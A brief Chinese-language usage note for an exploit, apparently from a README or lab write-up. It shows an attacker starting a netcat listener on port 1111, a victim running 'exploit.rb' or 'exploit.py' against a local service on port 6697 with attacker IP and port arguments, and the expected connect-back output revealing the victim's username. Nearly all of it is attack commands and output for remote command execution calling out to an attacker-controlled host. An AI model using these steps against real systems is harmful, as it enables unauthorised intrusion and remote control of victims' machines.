在攻击者的 shell 上
nc -nlvp 1111
在受害者的 shell 上
ruby exploit.rb 127.0.0.1
攻击者 shell 上的预期输出
listening on [any] 1111 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 48144
boba_fett
在受害者的 shell 上
python3 exploit.py -ri 127.0.0.1 -rp 6697 -cmd <command> -li <attacker_ip> -lp <attacker_port>
在攻击者的 shell 上
nc -nlvp 1111